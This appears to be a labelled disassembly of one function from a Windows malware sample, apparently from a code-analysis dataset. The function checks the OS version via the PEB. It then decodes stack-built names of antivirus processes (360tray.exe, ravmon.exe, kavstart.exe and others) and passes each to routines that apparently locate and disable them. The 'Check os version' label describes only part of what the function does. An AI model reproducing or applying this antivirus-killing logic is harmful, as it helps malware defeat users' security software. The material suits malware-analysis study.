Function at 0x401f8f
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push esi
push edi
push ebx
nop
nop
mov eax, dword fs:[0x18]
mov ecx, dword [eax + 0x30]
mov eax, dword [ecx + 0xb0]
nop
mov eax, dword [ecx + 0xa8]
xor ebx, ebx
mov ebx, dword [ecx + 0xa4]
cmp ebx, 5
jne 0x402029
or eax, eax
jne 0x401fe1
mov dword [0x406dd4], 0x6f
mov dword [0x406dd8], 0xe1
mov dword [0x406ddc], 0x18
jmp 0x402029
cmp eax, 1
jne 0x402006
mov dword [0x406dd4], 0x80
mov dword [0x406dd8], 0x102
mov dword [0x406ddc], 0x19
jmp 0x402029
cmp eax, 2
jne 0x402029
mov dword [0x406dd8], 0x10b
mov dword [0x406dd4], 0x86
mov dword [0x406ddc], 0x1b
nop
lea esi, [ebp - 0x20]
push esi
mov dword [esi], 0x6d766172
jmp 0x40204e
mov dword [esi + 4], 0x652e6e6f
jmp 0x40206f
mov dword [esi + 8], 0x6578
call fcn.00401e2b
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x40209b
push dword [ebp - 0x24]
call fcn.00401f17
push 0x32
call sub.KERNEL32.DLL_Sleep
push dword [ebp - 0x24]
call fcn.00401ef8
lea esi, [ebp - 0x20]
push esi
mov dword [esi], 0x6d766172
jmp 0x4020c3
mov dword [esi + 4], 0x2e646e6f
jmp 0x4020e8
mov dword [esi + 8], 0x657865
call fcn.00401e2b
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x402114
push dword [ebp - 0x24]
call fcn.00401f17
push 0x32
call sub.KERNEL32.DLL_Sleep
push dword [ebp - 0x24]
call fcn.00401ef8
lea esi, [ebp - 0x20]
push esi
mov dword [esi], 0x6e656363
jmp 0x40213c
mov dword [esi + 4], 0x2e726574
jmp 0x402161
mov dword [esi + 8], 0x657865
call fcn.00401e2b
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x40218d
push dword [ebp - 0x24]
call fcn.00401f17
push 0x32
call sub.KERNEL32.DLL_Sleep
push dword [ebp - 0x24]
call fcn.00401ef8
lea esi, [ebp - 0x20]
push esi
mov dword [esi], 0x53303633
jmp 0x4021b1
mov dword [esi + 4], 0x42656661
jmp 0x4021d2
mov dword [esi + 8], 0x652e786f
jmp 0x4021f3
mov dword [esi + 0xc], 0x6578
call fcn.00401e2b
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x40221f
push dword [ebp - 0x24]
call fcn.00401f17
push 0x32
call sub.KERNEL32.DLL_Sleep
push dword [ebp - 0x24]
call fcn.00401ef8
lea esi, [ebp - 0x20]
push esi
mov dword [esi], 0x74303633
jmp 0x402243
mov dword [esi + 4], 0x2e796172
jmp 0x402260
mov dword [esi + 8], 0x657865
call fcn.00401e2b
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x40228c
push dword [ebp - 0x24]
call fcn.00401f17
push 0x32
call sub.KERNEL32.DLL_Sleep
push dword [ebp - 0x24]
call fcn.00401ef8
lea esi, [ebp - 0x20]
push esi
mov dword [esi], 0x74303633
jmp 0x4022ac
mov dword [esi + 4], 0x2e796172
jmp 0x4022c9
mov dword [esi + 8], 0x657865
call fcn.00401e2b
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x4022f5
push dword [ebp - 0x24]
call fcn.00401f17
push 0x32
call sub.KERNEL32.DLL_Sleep
push dword [ebp - 0x24]
call fcn.00401ef8
lea esi, [ebp - 0x20]
push esi
mov dword [esi], 0x45666173
jmp 0x402315
mov dword [esi + 4], 0x74786f62
jmp 0x402332
mov dword [esi + 8], 0x2e796172
jmp 0x40234f
mov dword [esi + 0xc], 0x657865
call fcn.00401e2b
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x40237b
push dword [ebp - 0x24]
call fcn.00401f17
push 0x32
call sub.KERNEL32.DLL_Sleep
push dword [ebp - 0x24]
call fcn.00401ef8
lea esi, [ebp - 0x20]
push esi
mov dword [esi], 0x7376616b
jmp 0x40239b
mov dword [esi + 4], 0x74726174
jmp 0x4023b8
mov dword [esi + 8], 0x6578652e
mov dword [esi + 0xc], 0
call fcn.00401e2b
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x4023eb
push dword [ebp - 0x24]
call fcn.00401f17
push 0x32
call sub.KERNEL32.DLL_Sleep
push dword [ebp - 0x24]
call fcn.00401ef8
lea esi, [ebp - 0x20]
push esi
jmp 0x402405
mov dword [esi], 0x7373696b
jmp 0x402421
mov dword [esi + 4], 0x652e6376
jmp 0x40243e
mov dword [esi + 8], 0x6578
call fcn.00401e2b
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x40246a
push dword [ebp - 0x24]
call fcn.00401f17
push 0x32
call sub.KERNEL32.DLL_Sleep
push dword [ebp - 0x24]
call fcn.00401ef8
lea eax, [ebp - 0x20]
push eax
jmp 0x402484
mov dword [eax], 0x56534343
jmp 0x4024a0
mov dword [eax + 4], 0x54534843
jmp 0x4024bd
mov dword [eax + 8], 0x4558452e
mov dword [eax + 0xc], 0
call fcn.00401e2b
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x4024f0
push dword [ebp - 0x24]
call fcn.00401f17
push 0x32
call sub.KERNEL32.DLL_Sleep
push dword [ebp - 0x24]
call fcn.00401ef8
lea eax, [ebp - 0x20]
push eax
jmp 0x40250e
mov dword [eax], 0x56534343
jmp 0x40252e
mov dword [eax + 4], 0x54534843
jmp 0x40254f
mov dword [eax + 8], 0x4558452e
mov dword [eax + 0xc], 0
call fcn.00401e2b
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x402582
push dword [ebp - 0x24]
call fcn.00401f17
push 0x32
call sub.KERNEL32.DLL_Sleep
push dword [ebp - 0x24]
call fcn.00401ef8
pop ebx
pop edi
pop esi
leave
ret